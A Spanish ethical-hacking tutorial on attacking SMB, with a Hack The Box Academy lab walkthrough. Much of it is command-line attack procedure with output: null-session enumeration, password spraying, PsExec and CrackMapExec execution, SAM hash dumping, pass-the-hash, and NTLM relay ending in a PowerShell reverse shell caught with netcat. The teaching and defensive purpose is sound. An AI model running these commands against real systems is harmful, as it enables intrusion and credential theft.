Recursos SMB y equipos Windows conectados dentro de una red bajo análisis
← RECURSOS

Ataques a SMB: enumeración, explotación y laboratorio práctico

Guía técnica sobre SMB, sesiones nulas, recursos compartidos y credenciales, con comandos y un laboratorio de Hack The Box Academy.

¿Qué es SMB?

Imagina que en una oficina hay un armario central donde los empleados guardan y comparten documentos, y también una impresora que todos usan. Cualquier persona con llave puede entrar, tomar archivos o imprimir. SMB (Server Message Block) es exactamente eso, pero en una red informática: un protocolo que permite a distintas máquinas compartir archivos, carpetas e impresoras entre sí de forma transparente.

Lo que hace a SMB interesante desde el punto de vista ofensivo es que, a lo largo de su historia, ha tenido llaves demasiado fáciles de copiar, armarios mal cerrados y a veces incluso la puerta completamente abierta. Entender cómo funciona es el primer paso para atacarlo (y defenderlo).

Esquema del intercambio de archivos y autenticación mediante SMB dentro de una red.

Flujo normal de acceso SMB:

  Cliente Windows/Linux
        │
        │  ¿Tienes credenciales? → SÍ
        ▼
  ┌─────────────┐      Puerto 445 (TCP/IP directo)
  │  SMB Server │ ◄────────────────────────────────
  │  (Windows / │      Puerto 139 (NetBIOS sobre TCP)
  │   Samba)    │ ◄────────────────────────────────
  └─────────────┘
        │
        ▼
  Acceso a shares: ADMIN$, C$, IPC$, carpetas personalizadas
Concepto Descripción
Puerto 445 SMB directo sobre TCP/IP (Windows 2000 en adelante)
Puerto 139 SMB sobre NetBIOS (sistemas legacy o failover)
Samba Implementación open-source de SMB para Linux/Unix
MSRPC Microsoft Remote Procedure Call — viaja encima de SMB por named pipes
IPC$ Share especial para comunicación entre procesos (RPC)
ADMIN$ Share administrativo que apunta a C:\Windows
NetNTLM Hash de autenticación que SMB intercambia durante el login

SMB puede correr con o sin NetBIOS. Si el target es Windows moderno, casi siempre estará en el 445. Si ves el 139 abierto también, el sistema soporta ambos modos.


Introducción

Null Session

Acceso anónimo sin credenciales para enumerar shares, usuarios y políticas del servidor.

Password Spraying

Prueba una contraseña común contra una lista de usuarios para evitar bloqueos de cuenta.

Remote Code Execution

Ejecución remota de comandos usando shares administrativos y el Service Control Manager.

SAM Database Dump

Extracción de hashes locales desde la base de datos SAM con privilegios de administrador.

Pass-the-Hash

Autenticación SMB usando el hash NTLM directamente, sin necesidad de crackear la contraseña.

Forced Authentication / NTLM Relay

Envenenamiento LLMNR/NBT-NS para capturar o retransmitir hashes NetNTLM hacia otros hosts.


Enumeración

Antes de atacar cualquier servicio, necesitamos saber con qué estamos tratando: versión, sistema operativo, nombre del host y firma SMB. Todo eso lo obtenemos con un escaneo Nmap apuntando a los puertos 139 y 445.

╰─ sudo nmap 10.129.14.128 -sV -sC -p139,445

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 15:15 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00024s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 00:00:00:00:00:00 (VMware)

Host script results:
|_nbstat: NetBIOS name: HTB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-09-19T13:16:04
|_  start_date: N/A
Flag Descripción
-sV Detecta versiones del servicio
-sC Ejecuta scripts NSE por defecto
-p139,445 Escanea solo los puertos SMB relevantes

Con este output ya sabemos tres cosas críticas: la versión exacta de Samba (4.6.2), el hostname (HTB) y que el sistema operativo es Linux por la implementación Samba. Además, el script smb2-security-mode nos dice que la firma SMB no es obligatoria — dato clave para ataques de relay más adelante.

Cuando el target es Windows, Nmap no suele mostrar la versión exacta del OS en los scripts SMB. Para eso hay que combinar este escaneo con --script smb-os-discovery o con herramientas como CrackMapExec.


Explotación

Null Session

La null session es el equivalente a entrar al armario de la oficina porque alguien olvidó ponerle llave. SMB permite configurarse para aceptar conexiones sin credenciales — sin usuario ni contraseña — y cuando eso ocurre, podemos enumerar casi todo: shares, usuarios, grupos, políticas y servicios.

Null Session — Flujo de autenticación:

  Atacante                             Servidor SMB
      │                                     │
      │  Session Request (user="", pass="") │
      │ ──────────────────────────────────► │
      │                                     │
      │  Session Granted ✓                  │
      │ ◄────────────────────────────────── │
      │                                     │
      │  Enumerar shares, usuarios, RPC...  │
      │ ──────────────────────────────────► │

Listado de shares con smbclient

El flag -N elimina el prompt de contraseña (null session) y -L lista los shares disponibles.

╰─ smbclient -N -L //10.129.14.128

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        notes           Disk      CheckIT
        IPC$            IPC       IPC Service (DEVSM)
SMB1 disabled no workgroup available
Flag Descripción
-N No solicitar contraseña (null session)
-L Listar los shares disponibles en el host

Enumeración de permisos con smbmap

smbmap va un paso más allá: además de listar los shares, muestra los permisos reales que tenemos sobre cada uno.

╰─ smbmap -H 10.129.14.128

[+] IP: 10.129.14.128:445     Name: 10.129.14.128
Disk      Permissions      Comment
----      -----------      -------
ADMIN$     NO ACCESS      Remote Admin
C$         NO ACCESS      Default share
IPC$       READ ONLY      IPC Service (DEVSM)
notes      READ, WRITE    CheckIT
Flag Descripción
-H Especifica el host objetivo
-r Navega recursivamente por el contenido del share
-R Igual que -r pero completamente recursivo

El share notes tiene permisos READ, WRITE. Eso significa que podemos no solo ver archivos, sino también subir nuestros propios.

╰─ smbmap -H 10.129.14.128 -r notes

[+] Guest session       IP: 10.129.14.128:445    Name: 10.129.14.128
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        notes                                                   READ, WRITE
        .\notes\*
        dr--r--r               0 Mon Nov  2 00:57:44 2020    .
        dr--r--r               0 Mon Nov  2 00:57:44 2020    ..
        fw--w--w             116 Tue Apr 16 07:43:19 2019    note.txt
        fr--r--r               0 Fri Feb 22 07:43:28 2019    SDT65CB.tmp
        dr--r--r               0 Mon Nov  2 00:54:57 2020    WindowsImageBackup
╰─ smbmap -H 10.129.14.128 --download "notes\note.txt"

[+] Starting download: notes\note.txt (116 bytes)
[+] File output to: /htb/10.129.14.128-notes_note.txt
╰─ smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

[+] Starting upload: test.txt (20 bytes)
[+] Upload complete.

Un share con permisos de escritura es un vector directo para subir payloads, WebShells o archivos maliciosos que podrían ser ejecutados por otros usuarios o procesos del sistema.

Enumeración RPC con rpcclient

El protocolo RPC viaja encima de SMB y permite ejecutar funciones remotas. Con una null session podemos enumerar usuarios del dominio directamente:

╰─ rpcclient -U'%' 10.10.110.17

rpcclient $> enumdomusers

user:[mhope] rid:[0x641]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
Parte Descripción
-U'%' Null session: usuario vacío, contraseña vacía
enumdomusers Enumera todos los usuarios del dominio

Automatización con enum4linux-ng

enum4linux-ng es la versión moderna (Python) de la clásica herramienta en Perl. Automatiza todas las consultas anteriores en un solo comando:

╰─ ./enum4linux-ng.py 10.10.11.45 -A -C

ENUM4LINUX - next generation

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.11.45
[*] Username ......... ''
[*] Password ......... ''

 ====================================
|    Service Scan on 10.10.11.45     |
 ====================================
[*] SMB is accessible on 445/tcp
[*] SMB over NetBIOS is accessible on 139/tcp

 ===================================================
|    NetBIOS Names and Workgroup for 10.10.11.45    |
 ===================================================
[*] Got domain/workgroup name: WORKGROUP
[*] Full NetBIOS names information:
- WIN-752039204 <00> -    B <ACTIVE>  Workstation Service
- WORKGROUP     <00> -    B <ACTIVE>  Workstation Service
- WIN-752039204 <20> -    B <ACTIVE>  Workstation Service
- MAC Address = 00-0C-29-D7-17-DB
Flag Descripción
-A Ejecuta todas las enumeraciones disponibles
-C Incluye enumeración de cuentas de equipo (computers)

Password Spraying

Cuando la null session está deshabilitada, necesitamos credenciales. El brute force clásico (muchas contraseñas contra una cuenta) es arriesgado porque bloquea cuentas. El password spraying invierte la lógica: una sola contraseña contra muchos usuarios.

Diferencia de estrategia:

Brute Force:
  usuario_A → pass1, pass2, pass3 ... passN  → RIESGO DE LOCKOUT

Password Spray:
  usuario_A → "Company01!"   → falla
  usuario_B → "Company01!"   → falla
  usuario_C → "Company01!"   → ✓ VÁLIDO
  usuario_D → "Company01!"   → falla
  (esperar 30-60 min antes de otro intento)

Con CrackMapExec podemos apuntar a un host con una lista de usuarios y una sola contraseña:

╰─ crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth

SMB  10.10.110.17 445  WIN7BOX  [*] Windows 10.0 Build 18362 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB  10.10.110.17 445  WIN7BOX  [-] WIN7BOX\Administrator:Company01! STATUS_LOGON_FAILURE
SMB  10.10.110.17 445  WIN7BOX  [-] WIN7BOX\jrodriguez:Company01! STATUS_LOGON_FAILURE
SMB  10.10.110.17 445  WIN7BOX  [-] WIN7BOX\admin:Company01! STATUS_LOGON_FAILURE
SMB  10.10.110.17 445  WIN7BOX  [-] WIN7BOX\fsmith:Company01! STATUS_LOGON_FAILURE
SMB  10.10.110.17 445  WIN7BOX  [+] WIN7BOX\jurena:Company01! (Pwn3d!)
Flag Descripción
smb Protocolo objetivo
-u <archivo> Lista de usuarios a probar
-p <contraseña> Contraseña única a sprayer
--local-auth Autenticación local (para equipos fuera del dominio)
--continue-on-success No detener al encontrar la primera credencial válida

El indicador (Pwn3d!) en CrackMapExec significa que el usuario tiene privilegios de administrador local sobre el target — no solo que las credenciales son correctas.

Espera mínimo 30-60 minutos entre rondas de spraying. Dos o tres intentos por cuenta son lo razonable si no conoces el umbral de lockout del entorno.


Remote Code Execution

Con credenciales de administrador sobre un Windows, SMB se convierte en un canal de ejecución remota de comandos. La herramienta detrás de esto es PsExec (o sus implementaciones en Python de Impacket), que funciona en tres pasos:

Flujo de PsExec:

  Atacante                    Target Windows
      │                             │
      │  1. Sube binario al ADMIN$  │
      │ ──────────────────────────► │
      │                             │
      │  2. Registra como servicio  │
      │    (DCE/RPC → SCM API)      │
      │ ──────────────────────────► │
      │                             │
      │  3. Servicio crea named pipe│
      │    y ejecuta comandos       │
      │ ◄────────────────────────── │
      │                             │
      │  Shell interactiva como     │
      │  SYSTEM                     │

Con impacket-psexec:

╰─ impacket-psexec administrator:'Password123!'@10.10.110.17

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.110.17.....
[*] Found writable share ADMIN$
[*] Uploading file EHtJXgng.exe
[*] Opening SVCManager on 10.10.110.17.....
[*] Creating service nbAc on 10.10.110.17.....
[*] Starting service nbAc.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19041.1415]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami && hostname

nt authority\system
WIN7BOX

Con CrackMapExec (múltiples hosts a la vez):

╰─ crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

SMB  10.10.110.17 445  WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB  10.10.110.17 445  WIN7BOX  [+] .\Administrator:Password123! (Pwn3d!)
SMB  10.10.110.17 445  WIN7BOX  [+] Executed command via smbexec
SMB  10.10.110.17 445  WIN7BOX  nt authority\system
Flag Descripción
-x Ejecuta un comando CMD
-X Ejecuta un comando PowerShell
--exec-method Método de ejecución: smbexec, atexec o wmiexec

Si atexec (método por defecto de CME) falla, intenta explícitamente con --exec-method smbexec. Ambos generan artefactos distintos en el sistema — tenerlos en cuenta para el reporte.


SAM Database Dump

La base de datos SAM (Security Account Manager) almacena los hashes NTLM de todos los usuarios locales del sistema Windows. Con acceso de administrador podemos volcarla remotamente en segundos.

╰─ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam

SMB  10.10.110.17 445  WIN7BOX  [*] Windows 10.0 Build 18362 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB  10.10.110.17 445  WIN7BOX  [+] WIN7BOX\administrator:Password123! (Pwn3d!)
SMB  10.10.110.17 445  WIN7BOX  [+] Dumping SAM hashes
SMB  10.10.110.17 445  WIN7BOX  Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB  10.10.110.17 445  WIN7BOX  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB  10.10.110.17 445  WIN7BOX  jurena:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
SMB  10.10.110.17 445  WIN7BOX  demouser:1002:aad3b435b51404eeaad3b435b51404ee:4c090b2a4a9a78b43510ceec3a60f90b:::
SMB  10.10.110.17 445  WIN7BOX  [+] Added 6 SAM hashes to the database

El formato de cada hash es usuario:RID:LM_hash:NT_hash:::. La parte que nos interesa es el NT hash (el último antes de :::), que podemos usar para crackear o para Pass-the-Hash.

Los hashes SAM son locales. Para obtener hashes de dominio necesitamos volcar el NTDS.dit del Domain Controller, no el SAM.


Pass-the-Hash (PtH)

Si obtuvimos un hash NTLM pero no pudimos crackearlo, no importa. El protocolo NTLM está diseñado de tal manera que el hash en sí es la “contraseña” — no necesitamos el texto plano. Con Pass-the-Hash usamos ese hash directamente para autenticarnos.

Autenticación normal vs. Pass-the-Hash:

  Normal:
  Usuario escribe "Password123!" → Windows lo hashea → NTLM Challenge → Autenticado

  PtH:
  Atacante usa "2B576ACBE6BCFDA7294D6BD18041B8FE" directamente → NTLM Challenge → Autenticado
  (Nunca necesitó el texto plano)
╰─ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

SMB  10.10.110.17 445  WIN7BOX  [*] Windows 10.0 Build 19041 (name:WIN7BOX) (signing:False) (SMBv1:False)
SMB  10.10.110.17 445  WIN7BOX  [+] WIN7BOX\Administrator:2B576ACBE6BCFDA7294D6BD18041B8FE (Pwn3d!)
Flag Descripción
-H Hash NTLM a usar en lugar de contraseña en texto plano

Pass-the-Hash funciona contra NTLM pero no directamente contra Kerberos. En entornos de dominio modernos con Kerberos habilitado, puede ser necesario usar técnicas como Overpass-the-Hash o Pass-the-Ticket.


Forced Authentication / NTLM Relay

Este es el ataque más sofisticado de la lista. En lugar de crackear credenciales, las fabricamos: envenenamos la resolución de nombres en la red para que una víctima intente autenticarse contra nosotros, capturamos su hash NetNTLM y lo crackeamos o retransmitimos.



  Archivo hosts  →  DNS local  →  DNS del servidor  →  LLMNR/NBT-NS (multicast)

  Victim: "¿Quién es \\mysharefoder?" (typo del usuario)
      │
      │  Nadie responde por DNS (el nombre no existe)
      │
      ▼
  Broadcast LLMNR/NBT-NS a toda la red
      │
      ▼
  Atacante: "¡Yo soy \\mysharefoder! Conéctate a mí."
      │
      ▼
  Víctima envía challenge NTLM → Atacante captura el hash

Paso 1 — Captura del hash con Responder

╰─ sudo responder -I ens33

[+] Poisoners: LLMNR [ON], NBT-NS [ON], DNS/MDNS [ON]
[+] SMB server [ON]

[*] [LLMNR] Poisoned answer sent to 10.10.110.17 for name mysharefoder
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:01010...
Flag Descripción
-I Interfaz de red a escuchar

Paso 2a — Crackear el hash con hashcat

╰─ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:...:P@ssword

Status: Cracked
Hash.Name: NetNTLMv2
Flag Descripción
-m 5600 Modo NetNTLMv2

Los hashes NetNTLMv2 son salteados (cada captura es distinta aunque la contraseña sea la misma). Por eso si capturas el mismo usuario varias veces, los hashes serán diferentes — pero todos representan la misma contraseña.

Paso 2b — Relay del hash con impacket-ntlmrelayx

Si el hash es difícil de crackear, podemos retransmitirlo directamente a otro host. Primero desactivamos el servidor SMB de Responder para que el relay funcione:

╰─ cat /etc/responder/Responder.conf | grep 'SMB ='

SMB = Off

Luego ejecutamos el relay:

╰─ impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

[*] Running in relay mode to single host
[*] SMBD-Thread-3: Connection from /ADMINISTRATOR@10.10.110.1 controlled
[*] Authenticating against smb://10.10.110.146 as /ADMINISTRATOR SUCCEED
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
demouser:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Flag Descripción
--no-http-server Desactiva el servidor HTTP del relay
-smb2support Soporte para SMBv2
-t Host objetivo al que se retransmite la autenticación
-c Comando a ejecutar en el target tras autenticación exitosa

Payload de reverse shell (opcional)

Si queremos una shell en lugar del volcado SAM, generamos un payload PowerShell en revshells.com y lo pasamos con -c:

╰─ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <BASE64_PAYLOAD>'

[*] SMBD-Thread-3: Connection from /ADMINISTRATOR controlled
[*] Authenticating against smb://192.168.220.146 SUCCEED
╰─ nc -lvnp 9001

connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471

PS C:\Windows\system32> whoami;hostname

nt authority\system
WIN11BOX

El relay NTLM solo funciona si la firma SMB (SMB signing) está deshabilitada o configurada como “not required” en el target. Recuerda que Nmap lo indicó durante la enumeración inicial.


Resumen

Cómo funciona la resolución de nombres en Windows:

  [Nmap] Descubrir puerto 445/139
         │
         ▼
  Null Session?
    │       │
    SÍ      NO
    │       │
    │       ▼
    │  Password Spraying → Credenciales válidas
    │       │
    ▼       ▼
  Enum completa: shares, usuarios, RPC
         │
         ▼
  ¿Admin local?
    │         │
    SÍ        NO
    │         │
    ▼         ▼
   RCE    Responder (captura hashes de red)
   SAM           │
    │                    ▼
    ▼              Crackear con hashcat
   PtH ◄──────────────   │
    │                    │
    ▼                    ▼
  Movimiento lateral   Relay → SAM dump / Shell
Técnica Requisito Impacto Ruido
Null Session SMB mal configurado (sin auth) Enumeración completa Bajo
Password Spraying Lista de usuarios + contraseña común Acceso inicial Medio
RCE (PsExec/SMBExec) Admin local + share ADMIN$ accesible SYSTEM shell Alto
SAM Dump Admin local Todos los hashes locales Medio
Pass-the-Hash Hash NTLM válido Movimiento lateral Bajo
Forced Auth / NTLM Relay Red activa + SMB signing deshabilitado SAM dump / Shell Medio

Laboratorio - HTB Academy: Attacking SMB


Pregunta 1: ¿Cuál es el nombre del share con permisos de lectura?

Primero realizo un escaneo de puertos y servicios para tener clara la superficie de ataque

sudo nmap -sCV -p- -Pn -n --min-rate=5000 10.129.59.114 

Resultado del escaneo Nmap de los servicios SMB del laboratorio.

El segundo paso fue listar todos los shares disponibles usando una null session:

smbclient -N -L //10.129.203.6

Listado censurado de recursos SMB accesibles mediante una sesión nula.

Veo tres shares: print$, [CENSURADO] e IPC$. Para saber cuál es accesible, confirmo los permisos exactos con smbmap:

smbmap -H 10.129.203.6

Permisos censurados de recursos compartidos SMB identificados con smbmap.

El share *** aparece con READ ONLY. Los demás están sin acceso o son shares administrativos de IPC.

🚩 Flag 1:

[CENSURADO]

Pregunta 2: ¿Cuál es la contraseña del usuario “jason”?

Con el share identificado, intenté acceder de forma anónima para inspeccionar su contenido:

smbclient -N //10.129.203.6/<SHARE_CENSURADO>

Hay una clave privada SSH (id_rsa) dentro del share. Sin embargo, al intentar descargarla:

get id_rsa

Descarga de una clave SSH privada desde un recurso SMB del laboratorio.

El share en sí es visible de forma anónima, pero los permisos a nivel de archivo bloquean el acceso.

READ ONLY en el share no garantiza acceso a todos sus archivos. También intenté montar el share localmente y leer con sudo cat, pero el resultado fue el mismo — las restricciones son del lado del servidor remoto.

La conclusión era que necesitaba credenciales.

Como la pregunta referenciaba explícitamente al usuario jason , apliqué password spraying con la lista de contraseñas proporcionadas por HTB y también reutilicé passwords obtenidos del servicio FTP que el mismo entorno exponía. Tras varios intentos, obtuve las credenciales válidas:

crackmapexec smb 10.129.203.6 -u jason -p '**********' --local-auth

Validación censurada de credenciales SMB con CrackMapExec.

🚩 Flag 2:

[CENSURADO]

Cuando un entorno tiene múltiples servicios expuestos (FTP, SMB, SSH), siempre intenta reutilizar las credenciales o wordlists encontradas en un servicio contra los demás. La reutilización de contraseñas es uno de los vectores más frecuentes en HTB y en entornos reales.


Pregunta 3: Login como “jason” via SSH y leer flag.txt

Con las credenciales válidas pude autenticarme al share y descargar la clave privada:

smbclient --user jason //10.129.203.6/<SHARE_CENSURADO>
Password: <CONTRASEÑA_CENSURADA>

smb: \> get id_rsa

Descarga de la clave id_rsa desde una sesión smbclient autenticada.

Intenté usar la clave directamente para conectarme por SSH:

ssh -i id_rsa jason@10.129.203.6

Acceso SSH al objetivo de laboratorio mediante la clave obtenida en SMB.

SSH rechazó la clave porque los permisos del archivo eran 0644 (legible por cualquier usuario del sistema). Las claves privadas deben ser estrictamente privadas. Es decir, solo el dueño puede leerlas. La corrección es obvia:

chmod 600 id_rsa

Con los permisos corregidos, el login fue exitoso:

ssh -i id_rsa jason@10.129.203.6
jason@ubuntu:~$ whoami
jason@ubuntu:~$ cat flag.txt

Respuesta final del laboratorio SMB censurada en la terminal.

🚩 Flag 3:

[CENSURADO]

Vulnerabilidades recientes de SMB

A lo largo de los años, SMB ha acumulado un historial considerable de vulnerabilidades críticas — desde EternalBlue (CVE-2017-0144), que fue el motor detrás de WannaCry, hasta fallos más recientes que siguen afectando entornos Windows modernos. La naturaleza del protocolo, diseñado para ser accesible y negociable en red, lo convierte en un objetivo permanente: cualquier error en el proceso de negociación o en el manejo de datos puede derivar en ejecución remota de código con privilegios de sistema.

El siguiente CVE es un ejemplo claro de cómo un error aparentemente técnico y bajo nivel — un desbordamiento de entero — puede otorgarle a un atacante no autenticado el control total de una máquina remota.


CVE-2020-0796 — SMBGhost

Servicio afectado: SMB v3.1.1
Sistemas vulnerables: Windows 10 versiones 1903 y 1909
Impacto: Ejecución remota de código (RCE) sin autenticación
CVSS Score: 10.0 (Crítico)

¿Qué es SMBGhost?

Imagina que tienes un almacén con un montacargas automatizado. El sistema espera recibir cajas de un tamaño máximo definido. Si alguien envía una caja más grande de lo que el sistema puede calcular, el software no lo detecta — y en lugar de negarse a procesarla, el montacargas choca contra la estructura del almacén, rompiendo paredes que no debía tocar.

Eso es SMBGhost: un integer overflow (desbordamiento de entero) en el driver de SMB que ocurre durante el procesamiento de mensajes comprimidos. Cuando los datos enviados superan el límite de la variable entera que los calcula, el valor “da la vuelta” y se interpreta como positivo aunque sea inválido. El resultado: se escribe fuera del buffer permitido, sobreescribiendo instrucciones del CPU.

El exploit aprovecha la funcionalidad de compresión introducida en SMBv3.1.1. Si el servidor tiene el puerto TCP/445 expuesto y acepta compresión, es potencialmente vulnerable.

La vulnerabilidad a nivel conceptual

El problema reside en una función del driver srv2.sys que no valida el tamaño de los datos recibidos durante la negociación de sesión SMB. Al no existir un bounds check correcto, un paquete comprimido malformado puede desbordar el buffer y sobreescribir regiones de memoria adyacentes — incluyendo instrucciones que el CPU ejecutará a continuación.

┌─────────────────────────────────────────────────────────────────┐
│                    FLUJO NORMAL DE SMBv3.1.1                    │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Cliente ──► Negotiate Request ──► Servidor                     │
│  Servidor ──► Negotiate Response (acuerdan compresión) ──► OK   │
│  Cliente ──► Datos comprimidos (tamaño válido) ──► Procesado ✓  │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                    FLUJO CON SMBGhost                           │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Atacante ──► Negotiate Request (manipulado) ──► Servidor       │
│  Servidor ──► Negotiate Response ──► OK                         │
│  Atacante ──► Paquete comprimido MALFORMADO ──► Servidor        │
│                         │                                       │
│                         ▼                                       │
│              [Integer Overflow en srv2.sys]                     │
│                         │                                       │
│                         ▼                                       │
│         Buffer desbordado → Instrucciones CPU sobreescritas     │
│                         │                                       │
│                         ▼                                       │
│         CPU ejecuta instrucciones del atacante (RCE) 💀         │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

Cadena de ataque en dos ciclos

El exploit de SMBGhost opera en dos fases encadenadas:

Ciclo 1 — Establecer condiciones para el overflow:

Paso Acción Categoría
1 El atacante envía una Negotiate Request manipulada al servidor SMB Source
2 Los paquetes comprimidos se procesan según las respuestas de protocolo negociadas Process
3 El proceso corre con privilegios de SYSTEM o al menos de administrador Privileges
4 El proceso local es el destino que debe procesar los paquetes comprimidos Destination

Ciclo 2 — Trigger de RCE:

Paso Acción Categoría
5 Los datos del ciclo anterior sirven como fuente para el segundo ciclo Source
6 El integer overflow ocurre: el buffer sobreescrito contiene las instrucciones del atacante, que el CPU ejecuta Process
7 Se heredan los mismos privilegios del servidor SMB Privileges
8 El sistema remoto del atacante es el destino: se le otorga acceso al sistema local Destination

Aunque la mecánica interna del exploit involucra ingeniería inversa y conocimiento de desarrollo de exploits a nivel de kernel, el concepto de ataque sigue el mismo patrón que cualquier buffer overflow: controlar qué instrucciones ejecuta el CPU reemplazando datos legítimos por los propios. {: .prompt-info }

¿Por qué es tan crítico?

  • Sin autenticación: el atacante no necesita credenciales. Basta con acceso al puerto TCP/445.
  • Privilegios de SYSTEM: la ejecución ocurre en el contexto del driver del kernel — el nivel más alto posible.
  • Propagación lateral: en redes corporativas donde SMB está abierto internamente, un único host comprometido puede convertirse en punto de pivot hacia toda la red.

Si estás practicando este CVE, puedes encontrar máquinas con este vector en Hack The Box. El recurso ippsec.rocks indexa walkthroughs por técnica — búsca “SMBGhost” o “CVE-2020-0796” para encontrar resoluciones guiadas.

Mitigación

Microsoft lanzó el parche de seguridad MS20-051 en marzo de 2020. La mitigación inmediata (si no se podía parchear) consistía en deshabilitar la compresión SMBv3 mediante:

shell

╰─ Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

Deshabilitar la compresión SMBv3 no requiere reinicio, pero sí afecta el rendimiento en transferencias de archivos grandes. Siempre priorizar el parche oficial sobre workarounds.


Conclusión

SMB es uno de los protocolos más atacados en entornos Windows corporativos, y no es casualidad: está profundamente integrado en la infraestructura, corre en casi todos los hosts y lleva décadas acumulando configuraciones incorrectas. Una null session abierta puede darte el directorio de usuarios del dominio en segundos. Un hash NetNTLM capturado puede abrirte una shell SYSTEM sin crackear nada. Un share con escritura puede ser el punto de partida de un ransomware.

Las contramedidas básicas son conocidas pero sistemáticamente ignoradas: deshabilitar SMBv1, requerir firma SMB en todos los hosts, no usar la misma contraseña de administrador local en toda la flota, y monitorear eventos 4625 (fallos de logon) y 4648 (uso explícito de credenciales) en el SIEM. La brecha entre saber las contramedidas y aplicarlas es donde vive el atacante.

Fuentes y lecturas recomendadas

CONTINÚA EXPLORANDO

ARTÍCULOS SUGERIDOS

Infraestructura DNS representada sobre un mapa de red con registros y alertas de seguridadHACKING ÉTICO

Ataques a DNS: enumeración, explotación y laboratorio práctico

Guía técnica sobre DNS, transferencias de zona, subdomain takeover y cache poisoning, con comandos y un laboratorio de Hack The Box Academy.

Servidor FTP conectado a una infraestructura de red bajo análisis de seguridadHACKING ÉTICO

Ataques a FTP: enumeración, explotación y laboratorio práctico

Guía técnica sobre FTP, autenticación anónima, fuerza bruta y FTP Bounce, con comandos y un laboratorio de Hack The Box Academy.

Sesión de escritorio remoto analizada en un entorno de ciberseguridadHACKING ÉTICO

Ataques a RDP: enumeración, explotación y laboratorio práctico

Guía técnica sobre RDP, password spraying, secuestro de sesiones y Pass-the-Hash, con un laboratorio de Hack The Box Academy.

VER TODOS LOS RECURSOS →

HABLEMOS DE TU CASO

¿Necesitas ayuda? Contáctanos y te contestamos!

CONTÁCTANOS →